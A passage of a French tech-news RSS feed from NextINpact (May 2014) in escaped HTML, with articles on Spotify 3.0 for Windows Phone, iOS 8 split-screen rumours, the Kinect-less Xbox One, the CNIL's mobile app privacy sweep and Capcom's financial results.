+&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube.com/embed/videoseries?list=PLvs5oKzmvTtU4MoQMr8w6vwdVajeo2Soy" width="600" height="338" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 18:30:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87511.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87504-spotify-3-0-pour-windows-phone-ajoute-enfin-radios-et-decouvertes.htm</guid><link>http://www.nextinpact.com/news/87504-spotify-3-0-pour-windows-phone-ajoute-enfin-radios-et-decouvertes.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Applications</category><title>Spotify 3.0 pour Windows Phone ajoute enfin les Radios et Découvertes</title><description>&lt;p class="actu_chapeau"&gt;Apr&amp;egrave;s des mois de travaux, Spotify vient enfin de lancer la nouvelle version majeure de son application pour Windows Phone. Tr&amp;egrave;s en retard sur les moutures iOS et Android, elle r&amp;eacute;alise un s&amp;eacute;rieux bond en apportant des fonctionnalit&amp;eacute;s attendues de longue date, notamment les radios.&lt;/p&gt;&lt;p&gt;Le service de streaming musical Spotify est finalement disponible en version 3.0 pour Windows Phone. L&amp;rsquo;application change largement d&amp;rsquo;interface pour s&amp;rsquo;aligner &amp;agrave; ce que l&amp;rsquo;on trouve sur les autres appareils mobiles.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146712.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146713.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146714.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le fonctionnement et la manipulation ne choqueront pas les habitu&amp;eacute;s du service et tout ou presque se trouve &amp;agrave; la m&amp;ecirc;me place. Par exemple, le menu lat&amp;eacute;ral est toujours situ&amp;eacute; &amp;agrave; gauche et on y acc&amp;egrave;de par les trois traits habituels ou un glissement depuis la gauche de l&amp;rsquo;&amp;eacute;cran. On y retrouve les diff&amp;eacute;rentes fonctionnalit&amp;eacute;s telles que la recherche, les listes de lectures et ainsi de suite, avec &amp;eacute;videmment des nouveaut&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;rsquo;est ainsi que les radios font leur apparition pour la premi&amp;egrave;re fois sur Windows Phone dans l&amp;rsquo;application. Pour rappel, elles permettent de lancer, depuis un titre, un artiste ou un album, une liste de lecture g&amp;eacute;n&amp;eacute;r&amp;eacute;e automatiquement et contenant des titres similaires. La liste n&amp;rsquo;a pas de limite de taille et pioche dans la biblioth&amp;egrave;que Spotify. La fonction est souvent appr&amp;eacute;ci&amp;eacute;e car elle permet de d&amp;eacute;couvrir des artistes et de les mettre de c&amp;ocirc;t&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146715.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146716.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146717.jpeg" alt="spotify windows phone" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Autre ajout, la section D&amp;eacute;couverte. Celle-ci fonctionne sur la base de plusieurs types d&amp;rsquo;informations&amp;nbsp;:&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;La musique que l&amp;rsquo;utilisateur &amp;eacute;coute&lt;/li&gt;
+&lt;li&gt;La musique &amp;eacute;cout&amp;eacute;e par ses contacts&lt;/li&gt;
+&lt;li&gt;La musique &amp;laquo;&amp;nbsp;tendance&amp;nbsp;&amp;raquo; du moment&lt;/li&gt;
+&lt;li&gt;Les habitudes des autres utilisateurs &amp;agrave; travers un ou plusieurs artistes &amp;eacute;cout&amp;eacute;s par l&amp;rsquo;utilisateur&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Pour le reste, on retrouve ce qui &amp;eacute;tait d&amp;eacute;j&amp;agrave; pr&amp;eacute;sent, notamment la synchronisation hors ligne des listes de lecture, tout du moins quand l&amp;rsquo;utilisateur dispose de l&amp;rsquo;abonnement idoine. Est pr&amp;eacute;sente &amp;eacute;galement la possibilit&amp;eacute; d'&amp;eacute;pingler une ou plusieurs listes de lecture directement sur l'&amp;eacute;cran d'accueil.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Malheureusement, Spotify pour Windows Phone n&amp;rsquo;int&amp;egrave;gre pas toutes les nouveaut&amp;eacute;s ayant fait leur apparition &lt;a href="http://www.nextinpact.com/news/86816-spotify-change-dinterface-et-permet-enfin-gerer-sa-collection-musicale.htm" target="_blank"&gt;r&amp;eacute;cemment sous iOS&lt;/a&gt;, puis &lt;a href="http://www.nextinpact.com/breve/87311-spotify-nouvelle-interface-debarque-sur-android.htm" target="_blank"&gt;dans Android&lt;/a&gt;. C&amp;rsquo;est notamment le cas de la rubrique &amp;laquo;&amp;nbsp;Ma musique&amp;nbsp;&amp;raquo;, totalement absente. De fait, les utilisateurs n&amp;rsquo;ont qu&amp;rsquo;une gestion classique des listes de lecture au lieu d&amp;rsquo;une biblioth&amp;egrave;que plus compl&amp;egrave;te et comprenant un mode de tri par artiste, titre ou album. Cela &amp;eacute;tant, Spotify n&amp;rsquo;a clairement pas termin&amp;eacute; le d&amp;eacute;ploiement de cette fonctionnalit&amp;eacute;, la version de l&amp;rsquo;application pour iPad ne la poss&amp;eacute;dant pas non plus.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu&amp;rsquo;il en soit, la version 3.0 de Spotify rattrape une tr&amp;egrave;s grande partie du retard et peut &amp;ecirc;tre r&amp;eacute;cup&amp;eacute;r&amp;eacute;e &lt;a href="http://www.windowsphone.com/fr-fr/store/app/spotify/10f2995d-1f82-4203-b7fa-46ddbd07a6e6" target="_blank"&gt;depuis le Windows Phone Store&lt;/a&gt;. &amp;Agrave; noter que la compatibilit&amp;eacute; avec Windows Phone 8.1 est assur&amp;eacute;e, ce qui rassurera ceux qui ont d&amp;eacute;j&amp;agrave; install&amp;eacute; la b&amp;ecirc;ta du syst&amp;egrave;me, dont la version finale devrait commencer &amp;agrave; appara&amp;icirc;tre le mois prochain.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 18:00:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87504.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/breve/87515-et-si-ios-8-affichait-deux-applications-en-meme-temps.htm</guid><link>http://www.nextinpact.com/breve/87515-et-si-ios-8-affichait-deux-applications-en-meme-temps.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>OS</category><title>[Brève] Et si iOS 8 affichait deux applications en même temps ?</title><description>&lt;p class="actu_chapeau"&gt;Apple serait en train de travailler sur la possibilit&amp;eacute; de rendre son iPad davantage multit&amp;acirc;che. Selon 9to5mac, l&amp;rsquo;&amp;eacute;cran pourrait &amp;ecirc;tre divis&amp;eacute; en deux parties &amp;eacute;gales, chacune contenant une application diff&amp;eacute;rente. Une fonctionnalit&amp;eacute; qui est surtout l&amp;rsquo;apanage de la Surface de Microsoft pour le moment.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube.com/embed/_H6g-UpsSi8" width="601" height="338" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Concept de vue partag&amp;eacute;e par&amp;nbsp;&lt;a href="https://www.youtube.com/user/samjohnbeck1" target="_blank"&gt;Sam Becket&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le multit&amp;acirc;che sous iOS a toujours &amp;eacute;t&amp;eacute; limit&amp;eacute; par le concept inh&amp;eacute;rent de son ergonomie. Qu&amp;rsquo;il s&amp;rsquo;agisse des iPhone, iPod Touch ou iPad, le syst&amp;egrave;me est con&amp;ccedil;u pour afficher une application active &amp;agrave; la fois. Avec le temps, des moyens simplifi&amp;eacute;s de bascule ont &amp;eacute;t&amp;eacute; ajout&amp;eacute;s, en particulier sur la tablette o&amp;ugrave; l&amp;rsquo;on peut passer d&amp;rsquo;une &amp;agrave; l&amp;rsquo;autre par un glissement lat&amp;eacute;ral &amp;agrave; quatre doigts. Mais m&amp;ecirc;me ainsi, certains r&amp;ecirc;vaient d&amp;rsquo;une utilisation plus efficace.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://9to5mac.com/2014/05/13/apple-plans-to-match-microsoft-surface-with-split-screen-ipad-multitasking-in-ios-8/" target="_blank"&gt;Selon 9to5mac&lt;/a&gt;, Apple travaille &amp;agrave; une telle possibilit&amp;eacute; sous iOS 8&amp;hellip; ce qui ne signifie &amp;eacute;videmment pas qu&amp;rsquo;elle sera pr&amp;eacute;sente dans la version finale. Selon des sources visiblement internes, l&amp;rsquo;utilisateur pourrait ainsi se servir de deux applications simultan&amp;eacute;ment. On imagine sans peine des cas pratiques comme la visualisation d&amp;rsquo;une page web ou d&amp;rsquo;un document, coupl&amp;eacute;e &amp;agrave; la prise de notes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais le plus int&amp;eacute;ressant est potentiellement situ&amp;eacute; sous le capot. Pour r&amp;eacute;aliser cet affichage de deux applications, Apple travaillerait sur une nouvelle base d&amp;rsquo;&amp;eacute;changes pour les applications. En clair, la firme pourrait proposer, au travers de nouvelles API, une capacit&amp;eacute; qu&amp;rsquo;on retrouve surtout sous Android&amp;nbsp;: les applications exposent leurs capacit&amp;eacute;s d&amp;rsquo;&amp;eacute;changes, r&amp;eacute;cup&amp;eacute;r&amp;eacute;es alors par les autres applications. Un mod&amp;egrave;le repris par Microsoft, notamment sous Windows 8.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que la fonctionnalit&amp;eacute; pourrait bien &amp;ecirc;tre r&amp;eacute;serv&amp;eacute;e aux iPad disposant d&amp;rsquo;un &amp;eacute;cran 9,7 pouces. Les &lt;span data-affiliable="true" data-affkey="iPad mini"&gt;iPad mini&lt;/span&gt;, avec leurs 7,9 pouces, pourraient avoir un &amp;eacute;cran trop petit. Dans tous les cas, la r&amp;eacute;ponse arrivera le mois prochain pour la WWDC.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 17:48:04 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87515.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87514-microsoft-cede-et-proposera-xbox-one-sans-kinect-a-399-des-9-juin.htm</guid><link>http://www.nextinpact.com/news/87514-microsoft-cede-et-proposera-xbox-one-sans-kinect-a-399-des-9-juin.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Consoles</category><title>Microsoft cède et proposera la Xbox One sans Kinect à 399 € dès le 9 juin</title><description>&lt;p class="actu_chapeau"&gt;Les rumeurs allaient bon train &amp;agrave; ce sujet et elles se sont finalement v&amp;eacute;rifi&amp;eacute;es. Microsoft proposera bel et bien une Xbox One d&amp;eacute;nu&amp;eacute;e du capteur Kinect, et ce, d&amp;egrave;s le 9 juin prochain. Cette nouvelle version de la console sera &amp;eacute;videmment vendue &amp;agrave; un tarif moindre que la version classique : 399 euros.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/132510.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-132510.jpeg" alt="Xbox One" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Un pas en avant, trois pas en arri&amp;egrave;re&lt;/h3&gt;
+&lt;p&gt;Apr&amp;egrave;s avoir d&amp;eacute;j&amp;agrave; op&amp;eacute;r&amp;eacute; &lt;a href="http://www.nextinpact.com/news/80672-xbox-one-microsoft-cede-et-abandonne-connexion-permanente.htm" target="_blank"&gt;un premier virage &amp;agrave; 180 degr&amp;eacute;s&lt;/a&gt;&amp;nbsp;concernant la n&amp;eacute;cessit&amp;eacute; d'avoir une connexion r&amp;eacute;guli&amp;egrave;re &amp;agrave; internet afin de permettre la revente de jeux d&amp;eacute;mat&amp;eacute;rialis&amp;eacute;s sur &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;, Microsoft se pr&amp;ecirc;te une nouvelle fois &amp;agrave; ce p&amp;eacute;rilleux&amp;nbsp;exercice qu'est le retournement de veste. Souvenez-vous,&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/81890-microsoft-ne-vendra-pas-sa-xbox-one-sans-kinect.htm" target="_blank"&gt;en ao&amp;ucirc;t dernier&lt;/a&gt;, Phil Harrison, alors vice-pr&amp;eacute;sident de Microsoft, affirmait &amp;agrave; qui voulait bien l'entendre que&amp;nbsp;&lt;em&gt;&amp;nbsp;&amp;laquo; La &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; c'est Kinect. Ce ne sont pas des syst&amp;egrave;mes s&amp;eacute;par&amp;eacute;s. Une &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; a des puces, de la m&amp;eacute;moire un lecteur Blu-Ray, Kinect, une manette. Tout cela fait partie de l'&amp;eacute;cosyst&amp;egrave;me de la plateforme &amp;raquo;.&amp;nbsp;&lt;/em&gt;Le dirigeant r&amp;eacute;pondait &amp;eacute;galement d'un cinglant&amp;nbsp;&amp;laquo; jamais &amp;raquo; lorsqu'on lui demandait si la &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; serait un jour vendue sans Kinect.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une fois de plus le proverbe se v&amp;eacute;rifie et il ne faut donc jamais dire jamais. Microsoft vient en effet d'annoncer par la voix de Phil Spencer, &lt;a href="http://www.nextinpact.com/news/86802-phil-spencer-prend-tete-branche-xbox.htm" target="_blank"&gt;le nouveau responsable de la branche Xbox&lt;/a&gt;, sur le site officiel de la console que la &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; sera propos&amp;eacute;e &amp;agrave; la vente d&amp;egrave;s le 9 juin prochain, soit &amp;agrave; la veille de l'ouverture de l'E3, &lt;a href="v" target="_blank"&gt;au tarif de 399 euros, sans Kinect.&lt;/a&gt;&amp;nbsp;La firme de Redmond pr&amp;eacute;cise qu'elle vendra d&amp;egrave;s cet automne le capteur Kinect seul, &amp;agrave; un tarif qui n'a pas encore &amp;eacute;t&amp;eacute; communiqu&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;La pression de la &lt;span data-affiliable="false" data-affkey="PlayStation 4"&gt;PlayStation 4&lt;/span&gt; se fait-elle d&amp;eacute;j&amp;agrave; sentir ?&lt;/h3&gt;
+&lt;p&gt;Deux explications pourront &amp;ecirc;tre retenues selon le point de vue de chacun. D'un c&amp;ocirc;t&amp;eacute;, Microsoft qui annonce que ce changement de strat&amp;eacute;gie refl&amp;egrave;te&amp;nbsp;la volont&amp;eacute; d'offrir le choix aux fans de Xbox de disposer ou non de Kinect. De l'autre c&amp;ocirc;t&amp;eacute;, certains ne manqueront pas de remarquer que cela est surtout un moyen pour la marque de proposer sa console au m&amp;ecirc;me tarif que la &lt;span data-affiliable="true" data-affkey="PlayStation 4"&gt;PlayStation 4&lt;/span&gt;, dont les ventes ont nettement d&amp;eacute;pass&amp;eacute; celles de la console am&amp;eacute;ricaine.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Aux derni&amp;egrave;res nouvelles, Sony explique avoir &amp;eacute;coul&amp;eacute; plus de&lt;a href="http://www.nextinpact.com/news/87097-ps4-7-millions-consoles-vendues-et-nouveau-firmware-en-approche.htm" target="_blank"&gt; 7 millions d'exemplaires de sa PS4&lt;/a&gt; aupr&amp;egrave;s des clients, tandis que Microsoft, se contente d'avancer un chiffre de&lt;a href="http://www.nextinpact.com/news/87123-microsoft-annonce-avoir-vendu-5-millions-xbox-one-aux-detaillants.htm" target="_blank"&gt; 5 millions d'unit&amp;eacute;s,&lt;/a&gt; aupr&amp;egrave;s des grossistes et des revendeurs. Il faudra donc voir si cette nouvelle version de la console permettra &amp;agrave; Microsoft de rattraper son retard, ou non.&lt;/p&gt;
+&lt;h3&gt;Games for Gold arrive sur &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;Autre nouvelle annonc&amp;eacute;e par Phil Spencer, l'arriv&amp;eacute;e au mois de juin de l'offre Games for Gold sur &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;. Pour rappel, celle-ci permet aux abonn&amp;eacute;s Xbox Live Gold d'obtenir un ou plusieurs jeux chaque mois sur Xbox 360. &amp;Agrave; la diff&amp;eacute;rence du bouquet PlayStation Plus, il n'est pas n&amp;eacute;cessaire de maintenir l'abonnement pour continuer de profiter des titres ainsi obtenus sur Xbox 360. Sur Xbox One la recette est l&amp;eacute;g&amp;egrave;rement diff&amp;eacute;rente, puisqu'il faudra maintenir l'abonnement au Xbox Live pour profiter des jeux.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En juin, les joueurs sur Xbox 360 auront ainsi le droit &amp;agrave; Dark Souls, ainsi que Super Street Fighter IV : Arcade Edition, tandis que sur &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;,&amp;nbsp;&lt;em&gt;Max: The Curse of Brotherhood&lt;/em&gt;&amp;nbsp;et &lt;em&gt;Halo: Spartan Assault&lt;/em&gt;. seront offerts. De plus diverses promotions seront propos&amp;eacute;es aux abonn&amp;eacute;s. Il n'y a probablement pas l&amp;agrave; de quoi d&amp;eacute;placer les foules pour acheter une &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;, mais l'initiative reste n&amp;eacute;anmoins sympathique.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 17:40:54 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87514.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87503-internet-sweep-day-cnil-se-penche-sur-cas-applications-mobiles.htm</guid><link>http://www.nextinpact.com/news/87503-internet-sweep-day-cnil-se-penche-sur-cas-applications-mobiles.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Web</category><title>Internet Sweep Day : la CNIL se penche sur le cas des applications mobiles</title><description>&lt;p class="actu_chapeau"&gt;La CNIL&amp;nbsp;&lt;a href="http://www.cnil.fr/linstitution/actualite/article/article/internet-sweep-day-les-utilisateurs-dapplications-mobiles-sont-ils-suffisamment-informes/" target="_blank"&gt;annonce&lt;/a&gt;&amp;nbsp;qu'elle m&amp;egrave;ne aujourd'hui une action afin de v&amp;eacute;rifier si les informations relatives aux donn&amp;eacute;es personnelles&amp;nbsp;mises en place par les&amp;nbsp;applications mobiles sont suffisantes. Une op&amp;eacute;ration qui s'inscrit dans un cadre plus large puisque 26 autres autorit&amp;eacute;s font de m&amp;ecirc;me&amp;nbsp;&amp;agrave; travers le monde.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/117240.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-117240.png" alt="cnil" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Internet Sweep Day : une op&amp;eacute;ration mondiale&amp;nbsp;men&amp;eacute;e par plusieurs autorit&amp;eacute;s, dont la CNIL&lt;/h3&gt;
+&lt;p&gt;&lt;a href="http://www.cnil.fr/linstitution/actualite/article/article/journee-daudit-en-ligne-a-la-cnil-les-250-principaux-sites-informent-ils-suffisamment-les-inte/" target="_blank"&gt;L'ann&amp;eacute;e derni&amp;egrave;re&lt;/a&gt;, la CNIL,&amp;nbsp;ainsi qu'une vingtaine d'autorit&amp;eacute;s de diff&amp;eacute;rents pays, donnaient le coup d'envoi de la premi&amp;egrave;re &amp;eacute;dition de l'&amp;laquo; Internet Sweep Day &amp;raquo;. Une op&amp;eacute;ration conjointe men&amp;eacute;e et coordonn&amp;eacute;e par les membres du &lt;a href="https://www.privacyenforcement.net/" target="_blank"&gt;Global Privacy Enforcement Network&lt;/a&gt;&amp;nbsp;(GPEN).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La question &amp;eacute;tait alors la suivante :&amp;nbsp;&amp;laquo; &lt;em&gt;les 250 principaux sites informent-ils suffisamment les internautes ?&lt;/em&gt; &amp;raquo; Sans grande surprise, la r&amp;eacute;ponse n'&amp;eacute;tait pas satisfaisante pour l'ensemble des sites. En effet, si certains ne donnaient carr&amp;eacute;ment aucune indication sur leur politique de gestion des donn&amp;eacute;es personnelles, dans d'autres cas cette information&amp;nbsp;n'&amp;eacute;tait pas facilement accessible ou bien elle &amp;eacute;tait r&amp;eacute;dig&amp;eacute;e en anglais. Le r&amp;eacute;sultat d&amp;eacute;taill&amp;eacute; de cette enqu&amp;ecirc;te est&amp;nbsp;disponible&amp;nbsp;&lt;a href="http://www.cnil.fr/linstitution/actualite/article/article/operation-internet-sweep-day-une-premiere-mondiale-visant-a-apprecier-le-niveau-dinformat/" target="_blank"&gt;par ici&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Pour la seconde &amp;eacute;dition, les applications mobiles passent sous les projecteurs&lt;/h3&gt;
+&lt;p&gt;Continuant dans cette voie, les autorit&amp;eacute;s membres du GPEN donnent le coup d'envoi de la seconde &amp;eacute;dition &amp;nbsp;de L'&amp;laquo; Internet Sweep Day &amp;raquo; en&amp;nbsp;s'int&amp;eacute;ressant cette fois-ci aux applications mobiles. Contrairement &amp;agrave; l'ann&amp;eacute;e derni&amp;egrave;re, les relev&amp;eacute;s sont &amp;eacute;tal&amp;eacute;s sur cinq jours (du 12 au 16 mai), chaque pays &amp;eacute;tant libre de choisir&amp;nbsp;une date dans ce laps de temps. Pour sa part, la&amp;nbsp;CNIL a d&amp;eacute;cid&amp;eacute; de le faire aujourd'hui et l&amp;rsquo;institution&amp;nbsp;annonce qu'elle&amp;nbsp;examine&amp;nbsp;&amp;laquo; &lt;em&gt;les 100 applications mobiles les plus utilis&amp;eacute;es par les Fran&amp;ccedil;ais&lt;/em&gt; &amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le but de l'op&amp;eacute;ration&amp;nbsp;est de&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;v&amp;eacute;rifier si les utilisateurs de terminaux mobiles (&lt;span data-affiliable="true" data-affkey="smartphones"&gt;smartphones&lt;/span&gt;&amp;nbsp;et &lt;span data-affiliable="true" data-affkey="tablettes"&gt;tablettes&lt;/span&gt; tactiles) &amp;eacute;quip&amp;eacute;s des syst&amp;egrave;mes d&amp;rsquo;exploitation&amp;nbsp;iOS&amp;nbsp;(iPhone),&amp;nbsp;Android&amp;nbsp;et&amp;nbsp;Windows phone&amp;nbsp;sont inform&amp;eacute;s des conditions de traitement de leurs donn&amp;eacute;es personnelles&lt;/em&gt; &amp;raquo;. Quatre types d'informations sont&amp;nbsp;relev&amp;eacute;s&amp;nbsp;: le type de donn&amp;eacute;es collect&amp;eacute;es (localisation, contacts, identifiant de l&amp;rsquo;appareil, etc.), la raison pour laquelle elles le sont, leur &amp;eacute;ventuelle transmission &amp;agrave; des tiers et la possibilit&amp;eacute; de s&amp;rsquo;opposer cette&amp;nbsp;collecte.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une grille commune sera utilis&amp;eacute;e par les diff&amp;eacute;rentes autorit&amp;eacute;s participantes, le but &amp;eacute;tant de dresse un panorama mondial, mais aussi d'&amp;eacute;tudier les particularit&amp;eacute;s au niveau national. Bien &amp;eacute;videmment, en cas de manquements importants &amp;agrave; la loi, le CNIL se r&amp;eacute;serve le droit&amp;nbsp;d'engager des proc&amp;eacute;dures de sanctions si cela devait &amp;ecirc;tre n&amp;eacute;cessaire. Dans tous les cas, les r&amp;eacute;sultats de cette enqu&amp;ecirc;te seront int&amp;eacute;ressants &amp;agrave; examiner.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 17:20:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87503.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87506-capcom-reste-dans-vert-et-table-sur-baisse-ses-ventes-an-prochain.htm</guid><link>http://www.nextinpact.com/news/87506-capcom-reste-dans-vert-et-table-sur-baisse-ses-ventes-an-prochain.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Finances</category><title>Capcom reste dans le vert et table sur une baisse de ses ventes l'an prochain</title><description>&lt;p class="actu_chapeau"&gt;Comme l'ensemble de&amp;nbsp;ses concurrents, Capcom aussi a d&amp;eacute;voil&amp;eacute; ses r&amp;eacute;sultats financiers ces derniers jours. L'&amp;eacute;diteur affiche un chiffre d'affaires et un b&amp;eacute;n&amp;eacute;fice en l&amp;eacute;g&amp;egrave;re hausse. Comme &amp;agrave; son habitude, Capcom est &amp;eacute;galement tr&amp;egrave;s loquace quant &amp;agrave; sa strat&amp;eacute;gie future et en parle sans aucun tabou.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/124313.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-124313.png" alt="Monster Hunter Tri" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Jusqu'ici, tout va bien&lt;/h3&gt;
+&lt;p&gt;Les cadres de chez Capcom peuvent avoir le sourire, la restructuration entam&amp;eacute;e l'an dernier semble porter ses fruits. En effet, sur l'exercice fiscal 2014, l'&amp;eacute;diteur a d&amp;eacute;pass&amp;eacute; la barre des 100 milliards de yens de chiffre d'affaires, &amp;agrave; 102,2 milliards pour &amp;ecirc;tre pr&amp;eacute;cis, soit environ 729 millions d'euros, et affiche un b&amp;eacute;n&amp;eacute;fice en hausse de 1,5 % sur un an, qui s'&amp;eacute;tablit &amp;agrave; hauteur de 6,6 milliards de yens (47 millions d'euros).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;De bonnes performances, permises par le niveau satisfaisant de ventes atteint par certains des titres de l'&amp;eacute;diteur, dont &lt;em&gt;Monster Hunter 4, Dead Rising 3&lt;/em&gt; et &lt;em&gt;Resident Evil Revelations&lt;/em&gt;, qui ont tous franchi la barre du million d'exemplaires vendus. Malheureusement, Capcom ne donnera pas de chiffres plus pr&amp;eacute;cis les concernant, ce qui est bien dommage.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Des pr&amp;eacute;visions pessimistes pour l'an prochain&lt;/h3&gt;
+&lt;p&gt;Plut&amp;ocirc;t que de s'&amp;eacute;taler sur les chiffres&amp;nbsp;obtenus, Capcom a fait le choix lors de la pr&amp;eacute;sentation de ses r&amp;eacute;sultats financiers de mettre tr&amp;egrave;s franchement l'accent sur ses pr&amp;eacute;visions pour l'an prochain, ainsi que sa strat&amp;eacute;gie pour poursuivre sa croissance.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146704.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146704.png" alt="Capcom FY14 Sales" /&gt; &lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146705.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146705.png" alt="Capcom FY14 Forecast" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
